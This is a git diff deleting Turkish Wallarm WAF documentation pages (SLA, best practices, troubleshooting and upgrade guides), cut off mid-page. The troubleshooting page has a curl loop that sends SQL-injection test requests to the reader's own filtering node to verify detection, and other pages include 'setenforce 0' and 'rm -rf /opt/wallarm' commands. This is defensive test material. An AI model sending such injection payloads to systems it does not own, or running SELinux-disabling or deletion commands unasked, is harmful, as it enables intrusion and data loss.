"latest/reference/comparing-wallarm-to-other-solutions.md" diff --git a/docs/latest-tr/sla.md b/docs/latest-tr/sla.md deleted file mode 100644 index 99ba30f770..0000000000 --- a/docs/latest-tr/sla.md +++ /dev/null @@ -1,49 +0,0 @@ -# Wallarm'ın Hizmet Düzeyi Sözleşmesi (SLA) - -Bu makale, Wallarm'ın hizmet düzeyinin hizmet kullanılabilirlik süresi yüzdesi, olası problem sınıflandırması ve bunlara ilişkin yanıt ve çözüm süreleri gibi yönlerini açıklar. Müşteri bağlamına olan [güçlü bağımlılık](#normal-functioning-characteristics) nedeniyle, normal işleyiş özellikleri bu SLA'da açıklanmamıştır. - -## Genel beyan - -Wallarm, her takvim ayında Hizmetleri en az %99,95 oranında kullanılabilir kılmak için ticari olarak makul çabayı gösterir. - -## Problem sınıflandırması - -Aşağıdakiler, Wallarm hizmetlerinde meydana gelebilecek sorunları sınıflandırır ve önceliklendirir: - -| Öncelik düzeyi | Problem sınıflandırması | Açıklama | -| ------- | ------- | ------- | -| 1 | Acil | Hizmetler tamamen kullanılamaz durumda ya da performans Hizmetleri kullanılamaz kılacak kadar düşüktür. | -| 2 | Yüksek | Hizmetlerin temel bir işlevi kullanılamaz; bu durum sınırlı işlevselliğe yol açar veya çok sayıda Yetkili Kullanıcıyı etkiler. | -| 3 | Orta | Hizmetlerin işlevselliğini ciddi şekilde etkilemeyen bir işlev veya kaynağın kaybı vardır. | -| 4 | Düşük | Diğer tüm hizmet talepleri; genel kullanım soruları veya iyileştirme talepleri gibi. | - -Wallarm Destek ekibiyle herhangi bir iletişim kanalı üzerinden iletişime geçerken talebinizin önceliğini belirleyebilirsiniz; örneğin, [Customer Portal](https://wallarm.atlassian.net/servicedesk/customer/portal/5) üzerinden yeni bir hizmet talebi oluştururken **Priority** alanını ayarlayarak. Belirlenen öncelik, [Wallarm Destek Eskalasyon ve Olay Süreci](https://wallarm.atlassian.net/servicedesk/customer/portal/5/article/4319051777) kapsamında Destek Ekibi tarafından veya sizin tarafınızdan değiştirilebilir. - -## Yanıt ve çözüm süresi - -Aşağıdakiler, sorunlar meydana geldiğinde Wallarm'ın hizmet düzeylerini açıklar: - -| Problem sınıflandırması | İlk yanıt‍ (yoğun olmayan saatler) | Çözüm/‍hafifletme | Durum güncellemeleri | -| ------- | ------- | ------- | ------- | -| Acil | 2 saat | 4 saat | Her 30 dakikada bir | -| Yüksek | 3 saat | 24 saat | Her 4 saatte bir | -| Orta | 12 saat | [Bir sonraki planlı sürüm](updating-migrating/versioning-policy.md) | Haftalık | -| Düşük | 36 saat | Üç ayda bir | Ayda iki kez | - -Durum güncellemeleri, [Customer Portal](https://wallarm.atlassian.net/servicedesk/customer/portal/5) üzerinden açılan hizmet talebine yapılan yorumlar şeklinde iletilir ve her yeni yorum veya değişiklik için e-posta/Slack bildirimiyle birlikte gelir. Tüm hizmet talepleriniz, Customer Portal profilinizde listelenir. - -## Normal işleyiş özellikleri {#normal-functioning-characteristics} - -Wallarm hizmetlerinin kullanılabilirliği ve hızı ile [sorumlulukların paylaşımı](about-wallarm/shared-responsibility.md), belirli müşteri bağlamıyla ilgili birçok faktöre güçlü biçimde bağlıdır ve müşteriden müşteriye değişir. Bu faktörler şunlarla sınırlı olmamak üzere şunları içerir: - -* Müşterinin ağ altyapısı, konfigürasyonu ve bağlantısı -* Seçilen Wallarm [dağıtım biçimi](about-wallarm/overview.md#where-wallarm-works) -* Seçilen Wallarm dağıtım seçeneği: [Security Edge](installation/security-edge/overview.md), [self-hosted](installation/supported-deployment-options.md) veya [Connector](installation/connectors/overview.md) -* Etkin Wallarm [bileşenleri ve işlevleri](about-wallarm/overview.md) -* Trafik hacmi, özellikleri ve yoğunluğu - -Yukarıda belirtilen nedenlerle, normal işleyiş özellikleri bu SLA'da belirli sayısal değerlerle açıklanmamıştır. - -## Daha fazla ayrıntı - -Wallarm'ın resmi sitesindeki [Hizmet Düzeyi Sözleşmesi](https://www.wallarm.com/service-level-agreement) sayfasında daha fazla ayrıntı ve ilgili bilgileri bulabilirsiniz. \ No newline at end of file diff --git a/docs/latest-tr/technical-best-practices-for-future.md b/docs/latest-tr/technical-best-practices-for-future.md deleted file mode 100644 index 440922dc49..0000000000 --- a/docs/latest-tr/technical-best-practices-for-future.md +++ /dev/null @@ -1,31 +0,0 @@ -# Wallarm çözümünün dağıtımı ve bakımı için en iyi uygulamalar - -Bu makale, Wallarm çözümünün dağıtımı ve bakımı için en iyi uygulamaları ortaya koymaktadır. - - -## Filtreleme düğümlerini yalnızca üretim ortamında değil, test ve hazırlık (staging) ortamlarında da dağıtın - teknik en iyi uygulamalar - -Wallarm hizmet sözleşmelerinin çoğu, müşteri tarafından dağıtılan Wallarm düğümlerinin sayısını sınırlamaz; dolayısıyla geliştirme, test, hazırlık (staging) vb. dahil tüm ortamlarınıza filtreleme düğümlerini dağıtmamak için bir neden yoktur. - -Filtreleme düğümlerini yazılım geliştirme ve/veya hizmet işletimi faaliyetlerinizin tüm aşamalarında dağıtıp kullanarak, tüm veri akışını doğru şekilde test etme ve kritik üretim ortamınızda beklenmedik durumların riskini en aza indirme şansınız artar. - -## Son kullanıcı IP adreslerinin doğru raporlanmasını yapılandırın - teknik en iyi uygulamalar, ayrıca buna bağlantı her dağıtım talimatında olmalı - -Yük dengeleyici veya CDN arkasında bulunan Wallarm filtreleme düğümleri için, filtreleme düğümlerinizi son kullanıcı IP adreslerini doğru şekilde raporlayacak biçimde yapılandırdığınızdan emin olun (aksi halde [IP list işlevi](user-guides/ip-lists/overview.md), [Threat Replay Testing](detecting-vulnerabilities.md#threat-replay-testing) ve bazı diğer özellikler çalışmayacaktır): - -* [NGINX tabanlı Wallarm düğümleri için yönergeler](../admin-en/using-proxy-or-balancer-en.md) (AWS / GCP imajları ve Docker düğüm konteyneri dahil) -* [Wallarm Kubernetes Ingress controller olarak dağıtılan filtreleme düğümleri için yönergeler](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md) - -## Filtreleme düğümlerinin doğru şekilde izlenmesini etkinleştirin - hem izleme talimatına hem de teknik en iyi uygulamalara taşınmalı - -Wallarm filtreleme düğümlerinin doğru şekilde izlenmesini etkinleştirmeniz şiddetle önerilir. Filtreleme düğümü izlemesini kurma yöntemi, dağıtım seçeneğine bağlıdır: - -* [Wallarm Kubernetes Ingress controller olarak dağıtılan filtreleme düğümleri için yönergeler](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md) -* [NGINX tabanlı Docker imajı için yönergeler](../admin-en/installation-docker-en.md#monitoring-configuration) - -## Uygun yedeklilik ve otomatik failover işlevselliğini uygulayın - -Üretim ortamınızdaki diğer tüm kritik bileşenlerde olduğu gibi, Wallarm düğümleri de uygun düzeyde yedeklilik ve otomatik geçiş (failover) ile tasarlanmalı, dağıtılmalı ve işletilmelidir. Kritik son kullanıcı isteklerini işleyen **en az iki aktif Wallarm filtreleme düğümünüz** olmalıdır. Aşağıdaki makaleler konu hakkında ilgili bilgiler sağlar: - -* [NGINX tabanlı Wallarm düğümleri için yönergeler](../admin-en/configure-backup-en.md) (AWS / GCP imajları, Docker düğüm konteyneri ve Kubernetes sidecar'ları dahil) -* [Wallarm Kubernetes Ingress controller olarak dağıtılan filtreleme düğümleri için yönergeler](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md) \ No newline at end of file diff --git a/docs/latest-tr/troubleshooting/detection-and-blocking.md b/docs/latest-tr/troubleshooting/detection-and-blocking.md deleted file mode 100644 index b56ab0bc3a..0000000000 --- a/docs/latest-tr/troubleshooting/detection-and-blocking.md +++ /dev/null @@ -1,134 +0,0 @@ -# Saldırı Tespiti ve Engelleme Sorun Giderme - -## Saldırılar görüntülenmiyor - -Trafikten gelen saldırıların Wallarm Cloud'a yüklenmediğinden ve bunun sonucunda Wallarm Console arayüzünde görünmediğinden şüpheleniyorsanız, sorunu gidermek için bu makaleyi kullanın. - -Sorunu gidermek için aşağıdaki adımları sırasıyla uygulayın: - -1. Daha ileri hata ayıklama için bazı zararlı trafik oluşturun. -1. Filtreleme düğümünün çalışma modunu kontrol edin. -1. Günlükleri toplayın ve Wallarm destek ekibiyle paylaşın. - -**Bazı zararlı trafik oluşturun** - -Wallarm modüllerinin daha ileri hata ayıklaması için: - -1. Aşağıdaki zararlı trafiği gönderin: - - ```bash - for i in `seq 100`; do curl "http:///?wallarm_test_xxxx=union+select+$i"; sleep 1; done - ``` - - `` ifadesini kontrol etmek istediğiniz filtreleme düğümü IP’si ile değiştirin. Gerekirse komuta `Host:` başlığını ekleyin. -1. Saldırıların Wallarm Console → **Attacks** bölümünde görünmesi için en fazla 2 dakika bekleyin. 100 isteğin tamamı görünürse, filtreleme düğümü düzgün çalışıyor demektir. -1. Filtreleme düğümünün yüklü olduğu sunucuya bağlanın ve [düğüm metriklerini](../admin-en/configure-statistics-service.md) alın: - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - Devamında, `wallarm-status` çıktısına atıfta bulunacağız. - -**Filtreleme düğümünün çalışma modunu kontrol edin** - -Filtreleme düğümünün çalışma modunu şu şekilde kontrol edin: - -1. Filtreleme düğümünün [modunun](../admin-en/configure-wallarm-mode.md) `off` dışında olduğundan emin olun. Düğüm `off` modunda gelen trafiği işlemez. - - `off` modu, `wallarm-status` metriklerinin artmamasının yaygın bir nedenidir. -1. Düğüm NGINX tabanlıysa, ayarların uygulandığından emin olmak için NGINX’i yeniden başlatın: - - --8<-- "../include/waf/restart-nginx-4.4-and-above.md" -1. Saldırıların hâlâ Bulut’a yüklenmediğinden emin olmak için zararlı trafiği tekrar oluşturun. - -**Günlükleri yakalayın ve Wallarm destek ekibiyle paylaşın** - -Yukarıdaki adımlar sorunu çözmeye yardımcı olmadıysa, aşağıdaki şekilde düğüm günlüklerini toplayın ve Wallarm destek ekibiyle paylaşın: - -1. Wallarm düğümünün kurulu olduğu sunucuya bağlanın. -1. `wallarm-status` çıktısını aşağıdaki gibi alın: - - ```bash - curl http://127.0.0.8/wallarm-status - ``` - - Çıktıyı kopyalayın. -1. Wallarm tanılama betiğini çalıştırın: - - ```bash - /opt/wallarm/collect-info.sh - ``` - - Günlükleri içeren oluşturulmuş dosyayı alın. -1. Daha ayrıntılı inceleme için toplanan tüm verileri [Wallarm destek ekibine](mailto:support@wallarm.com) gönderin. - -## Filtreleme düğümünün RPS ve APS değerleri Bulut’a aktarılmıyor - -Filtreleme düğümünün RPS (saniye başına istek) ve APS (saniye başına saldırı) bilgileri Wallarm cloud’a aktarılmıyorsa, olası neden SELinux’tur. - -[SELinux](https://www.redhat.com/en/topics/linux/what-is-selinux) RedHat tabanlı Linux dağıtımlarında (ör. CentOS veya Amazon Linux 2.0.2021x ve altı) varsayılan olarak kurulu ve etkindir. SELinux, Debian veya Ubuntu gibi diğer Linux dağıtımlarına da kurulabilir. - -SELinux’un varlığını ve durumunu aşağıdaki komutu çalıştırarak kontrol edin: - -``` bash -sestatus -``` - -Filtreleme düğümünün bulunduğu bir ana bilgisayarda SELinux mekanizması etkinse, düğüm kurulumu veya yükseltmesi sırasında [all-in-one yükleyici](../installation/inline/compute-instances/linux/all-in-one.md), düğümün SELinux ile çakışmaması için otomatik yapılandırmayı gerçekleştirir. - -Otomatik yapılandırmadan sonra hâlâ SeLinux’un neden olabileceği sorunlar yaşıyorsanız, aşağıdakileri yapın: - -1. SELinux’u geçici olarak devre dışı bırakmak için `setenforce 0` komutunu çalıştırın. - - Bir sonraki yeniden başlatmaya kadar SELinux devre dışı kalacaktır. - -1. Sorun(lar)ın ortadan kalkıp kalkmadığını kontrol edin. -1. Yardım için [İletişime geçin](mailto:support@wallarm.com) Wallarm teknik desteğiyle. - - !!! warning "SELinux’un kalıcı olarak devre dışı bırakılması önerilmez" - Güvenlik sorunları nedeniyle SELinux’un kalıcı olarak devre dışı bırakılması önerilmez. - -## Filtreleme düğümü engelleme modunda (`wallarm_mode block`) çalışırken saldırıları engellemiyor - -`wallarm_mode` yönergesinin kullanımı, trafik filtreleme modu yapılandırma yöntemlerinden yalnızca biridir. Bu yapılandırma yöntemlerinden bazıları, `wallarm_mode` yönergesi değerinden daha yüksek önceliğe sahiptir. - -`wallarm_mode block` ile engelleme modunu yapılandırdıysanız ancak Wallarm filtreleme düğümü saldırıları engellemiyorsa, filtreleme modunun diğer yapılandırma yöntemleriyle geçersiz kılınmadığından emin olun: - -* [**Set filtration mode** kuralını](../admin-en/configure-wallarm-mode.md#conditioned-filtration-mode) kullanmak -* [Wallarm Console’un **General** bölümü](../admin-en/configure-wallarm-mode.md#general-filtration-mode) içinde - -[Filtreleme modu yapılandırma yöntemleri hakkında daha fazla bilgi →](../admin-en/configure-parameters-en.md) - -## Kullanıcı meşru bir istekten sonra engelleme sayfası görüyor - -Kullanıcınız, Wallarm önlemlerine rağmen meşru bir isteğin engellendiğini bildiriyorsa, bu makalede açıklandığı gibi isteği inceleyip değerlendirebilirsiniz. - -Wallarm tarafından meşru bir isteğin engellenmesi sorununu çözmek için şu adımları izleyin: - -1. Kullanıcıdan, engellenen istekle ilgili aşağıdakilerden biri olan bilgileri ekran görüntüsü değil, metin olarak sağlamasını isteyin: - - * Yapılandırılmışsa, Wallarm [engelleme sayfası](../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) tarafından sağlanan bilgiler (kullanıcının IP adresi, istek UUID’si ve önceden yapılandırılmış diğer öğeleri içerebilir). - - ![Wallarm engelleme sayfası](../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - - !!! warning "Engelleme sayfası kullanımı" - Varsayılan veya özelleştirilmiş Wallarm engelleme sayfasını kullanmıyorsanız, kullanıcıdan uygun bilgileri almak için bunu [yapılandırmanız](../admin-en/configuration-guides/configure-block-page-and-code.md#customizing-sample-blocking-page) şiddetle önerilir. Unutmayın ki örnek bir sayfa bile engellenen istekle ilgili anlamlı bilgileri toplar ve kolayca kopyalanmasına izin verir. Ek olarak, bu tür bir sayfayı özelleştirebilir veya tamamen yeniden oluşturup kullanıcılara bilgilendirici bir engelleme mesajı döndürebilirsiniz. - - * Kullanıcının istemci isteği ve yanıtının kopyası. Tarayıcı sayfa kaynak kodu veya terminal istemcisinin metin tabanlı girdi ve çıktısı uygundur. - -1. Wallarm Console → [**Attacks**](../user-guides/events/check-attack.md) veya [**Incidents**](../user-guides/events/check-incident.md) bölümünde, engellenen istekle ilgili olayı [arama](../user-guides/search-and-filters/use-search.md) ile bulun. Örneğin, [istek kimliğine göre arayın](../user-guides/search-and-filters/use-search.md#search-by-request-identifier): - - ``` - attacks incidents request_id: - ``` - -1. Olayı inceleyerek hatalı mı yoksa meşru bir engelleme mi olduğunu belirleyin. -1. Eğer hatalı bir engelleme ise, aşağıdaki önlemlerden birini veya birkaçının kombinasyonunu uygulayarak sorunu çözün: - - * [Yanlış pozitiflere](../user-guides/events/check-attack.md#false-positives) karşı önlemler - * [Kuralları](../user-guides/rules/rules.md) yeniden yapılandırma - * [Tetikleyicileri](../user-guides/triggers/triggers.md) yeniden yapılandırma - * [IP listelerini](../user-guides/ip-lists/overview.md) değiştirme - -1. Başlangıçta kullanıcı tarafından sağlanan bilgiler eksikse veya güvenle uygulanabilecek önlemlerden emin değilseniz, daha fazla yardım ve inceleme için ayrıntıları [Wallarm desteği](mailto:support@wallarm.com) ile paylaşın. \ No newline at end of file diff --git a/docs/latest-tr/troubleshooting/detection-tools-tuning.md b/docs/latest-tr/troubleshooting/detection-tools-tuning.md deleted file mode 100644 index 65dc325614..0000000000 --- a/docs/latest-tr/troubleshooting/detection-tools-tuning.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/troubleshooting/detection-tools-tuning.md" \ No newline at end of file diff --git a/docs/latest-tr/troubleshooting/overview.md b/docs/latest-tr/troubleshooting/overview.md deleted file mode 100644 index c5ac30cd86..0000000000 --- a/docs/latest-tr/troubleshooting/overview.md +++ /dev/null @@ -1,45 +0,0 @@ -# Wallarm Sorun Giderme - -Bu bölüm, Wallarm ile ilgili en yaygın sorun giderme durumlarını açıklar, olası sorunlara yönelik çözümler ve bunları araştırıp çözmek için kullanabileceğiniz araçlar hakkında bilgi sağlar. - -## Araçlar - -Wallarm ile çalışırken bir sorun yaşarsanız, elinizdeki araçlar şunlardır: - -* İşlerin nasıl çalıştığının mantığını açıklayan bu dokümantasyon -* Dokümantasyondaki bu **Sorun Giderme** bölümü - - !!! info "Dokümantasyon nasıl kullanılır" - Aramayı kullanın, AI botuna sorun, sol menüdeki konulara göz atın. - -* Wallarm [hizmet durum sayfası](#wallarm-service-status-page) -* Wallarm [filtreleme düğümü günlükleri](../admin-en/configure-logging.md) -* Wallarm [filtreleme düğümü istatistikleri](../admin-en/configure-statistics-service.md) -* Wallarm [API](../api/overview.md) - -## Wallarm hizmet durum sayfası - -Wallarm durum sayfası https://status.wallarm.com, her [Wallarm Cloud](../about-wallarm/overview.md#how-wallarm-works) için Wallarm Console ve Wallarm API hizmetlerinin erişilebilirliğine ilişkin anlık ve geçmiş verileri görüntüler: - -![Wallarm durum sayfası](../images/status-page.png) - -### Durumlar - -* **Düşük performans**, hizmetin çalıştığı ancak yavaş olduğu veya başka şekilde küçük ölçekte etkilendiği anlamına gelir. -* **Kısmi kesinti**, bazı müşteriler için hizmetlerin tamamen çalışmadığı anlamına gelir. -* **Büyük çaplı kesinti**, hizmetlerin tamamen kullanılamaz olduğu anlamına gelir. - -### Bildirimler - -Evet, güncellemelere aboneyseniz. Abone olmak için lütfen **SUBSCRIBE TO UPDATES** öğesine tıklayın ve abonelik kanalını seçin: - -* **Email**: Wallarm bir olayı oluşturduğunda, güncellediğinde veya çözdüğünde bildirim almak için. -* **SMS**: Wallarm bir olayı oluşturduğunda veya çözdüğünde bildirim almak için. -* **Slack**: Olay güncellemelerini ve bakım durumu mesajlarını almak için. -* **Webhook**: Wallarm bir olayı oluşturduğunda, bir olayı güncellediğinde, bir olayı çözdüğünde veya bir hizmet durumunu değiştirdiğinde bildirim almak için. - -### Olayların otomatik oluşturulması - -Hizmetlerde kesinti yaşandığında olaylar oluşturulur. Kesintiyle ilgili bir etkinlik sırasında, sorunu, bu konuda ne yaptığımızı ve sorunun ne zaman düzeltileceğini beklediğimizi açıklayan bir sayfa ekleriz. - -Zaman ilerledikçe olayın nedeni belirlenir, belirlenen olay düzeltilir ve olay durumu mevcut durumu yansıtacak şekilde güncellenir. \ No newline at end of file diff --git a/docs/latest-tr/troubleshooting/performance.md b/docs/latest-tr/troubleshooting/performance.md deleted file mode 100644 index cceb6d23f2..0000000000 --- a/docs/latest-tr/troubleshooting/performance.md +++ /dev/null @@ -1,60 +0,0 @@ -# Performans Sorun Giderme - -## Wallarm düğümü çok fazla CPU tüketiyor - -Wallarm tarafından önerilen CPU kullanımı yaklaşık %10–15'tir; bu, filtreleme düğümlerinin trafikte x10 artışı karşılayabileceği anlamına gelir. Bir Wallarm düğümü beklenenden daha fazla CPU tüketiyorsa ve CPU kullanımını azaltmanız gerekiyorsa, bu kılavuzdan yararlanın. - -En uzun istek işleme sürelerini ve dolayısıyla başlıca CPU tüketicilerini ortaya çıkarmak için [genişletilmiş günlüklemeyi etkinleştirip](../admin-en/configure-logging.md#configuring-extended-logging-for-the-nginxbased-filter-node) işleme süresini izleyebilirsiniz. - -Wallarm kaynaklı CPU yükünü azaltmak için aşağıdakileri yapabilirsiniz: - -* NGINX yapılandırmasına [`limit_req`](http://nginx.org/en/docs/http/ngx_http_limit_req_module.html) ekleyin veya düğüm 4.6'dan itibaren Wallarm'ın kendi [oran sınırlama](../user-guides/rules/rate-limiting.md) işlevini kullanın. Bu, kaba kuvvet ve diğer saldırılar durumunda CPU yükünü azaltmanın en iyi yolu olabilir. - - ??? info "Örnek yapılandırma - `limit_req` kullanımı" - - ```bash - http { - map $request_uri $binary_remote_addr_map { - ~^/get $binary_remote_addr; - ~^/post $binary_remote_addr; - ~^/wp-login.php $binary_remote_addr; - } - limit_req_zone $binary_remote_addr_map zone=urls:10m rate=3r/s; - limit_req_zone $binary_remote_addr$request_uri zone=allurl:10m rate=5r/s; - - limit_req_status 444; - - server { - location { - limit_req zone=urls nodelay; - limit_req zone=allurl burst=30; - } - } - } - ``` - -* NGINX ve wstore için uygun miktarda belleğin [ayrıldığını](../admin-en/configuration-guides/allocate-resources-for-node.md) kontrol edin. -* [`wallarm_acl_access_phase`](../admin-en/configure-parameters-en.md#wallarm_acl_access_phase) yönergesinin `on` olarak ayarlandığından emin olun; bu, herhangi bir filtreleme modunda bu isteklerde saldırı işaretlerini aramadan Denylist'te bulunan IP'lerden gelen istekleri anında engeller. Yönergeyi etkinleştirmenin yanı sıra, yanlışlıkla **Allowlist**'e eklenmiş IP'leri veya yanlışlıkla **Denylist**'e eklenmemiş konumları bulmak için Wallarm [IP lists](../user-guides/ip-lists/overview.md)'i kontrol edin. - - Bu CPU kullanımını düşürme yöntemi, arama motorlarından gelen isteklerin atlanmasına yol açabilir. Ancak bu sorun, NGINX yapılandırmasında `map` modülünün kullanılmasıyla da çözülebilir. - - ??? info "Örnek yapılandırma - arama motorları sorununu çözen `map` modülü" - - ```bash - http { - wallarm_acl_access_phase on; - map $http_user_agent $wallarm_mode{ - default monitoring; - ~*(google|bing|yandex|msnbot) off; - } - server { - server_name mos.ru; - wallarm_mode $wallarm_mode; - } - } - ``` - -* `wallarm_enable_libdetection off` ile [libdetection](../about-wallarm/protecting-against-attacks.md#basic-set-of-detectors)'ı devre dışı bırakın (düğüm sürümü 4.4'ten beri varsayılan olarak etkindir). libdetection kullanımı CPU tüketimini %5–10 artırır. Ancak, libdetection'ı devre dışı bırakmanın SQLi saldırı tespiti için yanlış pozitif sayısında artışa yol açabileceğini dikkate almak gerekir. -* Tespit edilen saldırı analizi sırasında, Wallarm'ın bazı ayrıştırıcıları [kurallarda](../user-guides/rules/request-processing.md#managing-parsers) veya [NGINX yapılandırması aracılığıyla](../admin-en/configure-parameters-en.md#wallarm_parser_disable) isteklerin belirli öğeleri için yanlışlıkla kullandığını tespit ederseniz, geçerli olmadıkları durumlarda bu ayrıştırıcıları devre dışı bırakın. Ancak, genel olarak ayrıştırıcıların devre dışı bırakılması asla önerilmez. -* [İstek işleme süresini düşürün](../user-guides/rules/configure-overlimit-res-detection.md). Bunu yaparak meşru isteklerin sunucuya ulaşmasını engelleyebileceğinizi unutmayın. -* Olası [DDoS](../admin-en/configuration-guides/protecting-against-ddos.md) hedeflerini analiz edin ve mevcut [koruma önlemlerinden](../admin-en/configuration-guides/protecting-against-ddos.md#l7-ddos-protection-with-wallarm) birini uygulayın. \ No newline at end of file diff --git a/docs/latest-tr/troubleshooting/wallarm-issues-in-nginx-error-log.md b/docs/latest-tr/troubleshooting/wallarm-issues-in-nginx-error-log.md deleted file mode 100644 index bb2e061736..0000000000 --- a/docs/latest-tr/troubleshooting/wallarm-issues-in-nginx-error-log.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/troubleshooting/wallarm-issues-in-nginx-error-log.md" \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/all-in-one.md b/docs/latest-tr/updating-migrating/all-in-one.md deleted file mode 100644 index 8565fbbf57..0000000000 --- a/docs/latest-tr/updating-migrating/all-in-one.md +++ /dev/null @@ -1,42 +0,0 @@ -[statistics-service-all-parameters]: ../admin-en/configure-statistics-service.md -[img-attacks-in-interface]: ../images/admin-guides/test-attacks-quickstart.png -[configure-proxy-balancer-instr]: ../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal - -# All-in-One Yükleyici ile Wallarm NGINX Node'unu Yükseltme - -Bu talimatlar, [all‑in‑one installer](../installation/nginx/all-in-one.md) kullanılarak kurulan Wallarm node'unu en son 6.x sürümüne yükseltme adımlarını açıklar. - -!!! info "Wallarm servislerinin yeniden kurulması gereklidir" - Güvenli bir yükseltme prosedürü için, yeni Node'u yeni bir makineye kurun, trafiği yeni makineye yönlendirin ve ardından eskiyi kaldırın. - - Alternatif olarak, mevcut makinenizdeki servisleri durdurup kaldırabilir ve ardından node'u yeniden kurabilirsiniz. Ancak bu, önerilmeyen bazı kesinti sürelerine neden olabilir. - - Bu makale en güvenli geçiş yöntemini açıklar. - -## Adım 1: Yeni node sürümünü temiz bir makineye kurun - -1. 5.x veya daha eski bir sürümden yükseltiyor ve postanalytics modülü ayrı kurulmuşsa, mevcut yapılandırmalarınızı [postanalytics için Tarantool’un wstore ile değiştirilmesi](what-is-new.md#replacing-tarantool-with-wstore-for-postanalytics) doğrultusunda kopyalayıp güncelleyin: - - * Filtreleme node'u makinesinde, `/etc/nginx/nginx.conf` dosyasının `http` bloğunda `wallarm_tarantool_upstream` ögesini [`wallarm_wstore_upstream`](../admin-en/configure-parameters-en.md#wallarm_wstore_upstream) olarak yeniden adlandırın. - * Postanalytics makinesinde (özel bir host ve port kullanıyorsanız), `/opt/wallarm/etc/wallarm/node.yaml` içinde `tarantool` bölümünü `wstore` olarak yeniden adlandırın. -1. Node’un en yeni sürümünü, NGINX’in en güncel sürümüyle birlikte, **yeni bir makineye** aşağıdaki kılavuzlardan birini izleyerek kurun. Kılavuz, makine için gereksinimleri de kapsar. - - * [Filtreleme ve postanalytics modülleri aynı sunucuda](../installation/nginx/all-in-one.md) - önceki yapılandırma dosyalarınızı aktarabilir ve yeniden kullanabilirsiniz. - * [Filtreleme ve postanalytics modülleri farklı sunucularda](../admin-en/installation-postanalytics-en.md) - 1. adımda güncellenen yapılandırma dosyalarını kullanın. -1. Trafiği yeni node’un işlemesi için yeni makineye yönlendirin. - -## Adım 2: Eski node’u kaldırın - -1. Trafik yeni makineye yönlendirildikten ve Cloud üzerinde saklanan verileriniz (kurallar, IP listeleri) senkronize edildikten sonra, kurallarınızın beklendiği gibi çalıştığından emin olmak için bazı test saldırıları gerçekleştirin. -1. Wallarm Console → **Nodes** içinde eski node’u seçip **Delete** tıklayarak silin. -1. İşlemi onaylayın. - - Node Cloud’dan silindiğinde, uygulamalarınıza gelen isteklerin filtrelenmesini durduracaktır. Filtreleme node’unun silinmesi geri alınamaz. Node, node listesinde kalıcı olarak silinir. - -1. Eski node’un bulunduğu makineyi silin veya yalnızca Wallarm node bileşenlerinden temizleyin: - - ``` - sudo systemctl stop wallarm - sudo rm -rf /opt/wallarm - ``` \ No newline at end of file diff --git a/docs/latest-tr/updating-migrating/cloud-image.md b/docs/latest-tr/updating-migrating/cloud-image.md deleted file mode 100644 index d4ad1918f1..0000000000 --- a/docs/latest-tr/updating-migrating/cloud-image.md +++ /dev/null @@ -1,79 +0,0 @@ -[wallarm-status-instr]: ../admin-en/configure-statistics-service.md -[memory-instr]: ../admin-en/configuration-guides/allocate-memory-for-waf-node.md -[waf-directives-instr]: ../admin-en/configure-parameters-en.md -[ptrav-attack-docs]: ../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../images/admin-guides/test-attacks-quickstart.png -[nginx-process-time-limit-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit -[nginx-process-time-limit-block-docs]: ../admin-en/configure-parameters-en.md#wallarm_process_time_limit_block -[overlimit-res-rule-docs]: ../user-guides/rules/configure-overlimit-res-detection.md -[graylist-docs]: ../user-guides/ip-lists/overview.md -[waf-mode-instr]: ../admin-en/configure-wallarm-mode.md -[ip-lists-docs]: ../user-guides/ip-lists/overview.md -[link-wallarm-health-check]: ../admin-en/uat-checklist-en.md -[link-cloud-connect-guide]: ../installation/inline/compute-instances/aws/aws-ami.md#4-connect-the-instance-to-the-wallarm-cloud - - -# Bulut düğümü imajını yükseltme - -Bu talimatlar, AWS veya GCP üzerinde dağıtılmış bulut düğümü imajını en son 6.x sürümüne yükseltme adımlarını açıklar. - -Ömrünü tamamlamış düğümü (3.6 veya daha düşük) yükseltmek için lütfen [farklı talimatları](older-versions/cloud-image.md) kullanın. - -## Gereksinimler - ---8<-- "../include/waf/installation/basic-reqs-for-upgrades.md" - -## Adım 1: 6.x filtreleme düğümü ile yeni bir örnek başlatın - -1. Bulut platformu pazarında Wallarm filtreleme düğümü imajını açın ve imaj başlatmaya devam edin: - * [Amazon Marketplace](https://aws.amazon.com/marketplace/pp/B073VRFXSD) - * [GCP Marketplace](https://console.cloud.google.com/marketplace/details/wallarm-node-195710/wallarm-node) -2. Başlatma adımında aşağıdaki ayarları yapın: - - * İmaj sürümü `6.x.x` seçin - * AWS için, **Security Group Settings** alanında oluşturulan güvenlik grubunu seçin - * AWS için, **Key Pair Settings** alanında oluşturulan anahtar çiftinin adını seçin -3. Örnek başlatmayı onaylayın. -4. GCP için, örneği şu [talimatları](../installation/cloud-platforms/gcp/machine-image.md#2-configure-the-filtering-node-instance) izleyerek yapılandırın. - -## Adım 2: Filtreleme düğümünü Wallarm Cloud'a bağlayın - -1. SSH üzerinden filtreleme düğümü örneğine bağlanın. Örnek(ler)e bağlanmaya ilişkin daha ayrıntılı talimatlar, bulut platformunun dokümantasyonunda mevcuttur: - * [AWS dokümantasyonu](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/AccessingInstances.html) - * [GCP dokümantasyonu](https://cloud.google.com/compute/docs/instances/connecting-to-instance) -2. Yeni bir Wallarm düğümü oluşturun ve bulut platformuna ilişkin talimatlarda açıklandığı şekilde oluşturulan belirteci kullanarak Wallarm Cloud'a bağlayın: - * [AWS][link-cloud-connect-guide] - * [GCP](../installation/cloud-platforms/gcp/machine-image.md#5-connect-the-filtering-node-to-the-wallarm-cloud) - -## Adım 3: Filtreleme düğümü ayarlarını önceki sürümden yeni sürüme kopyalayın - -Aşağıdaki önceki Wallarm düğümü sürümüne ait yapılandırma dosyalarından istek işleme ve proxy’leme ayarlarını filtreleme 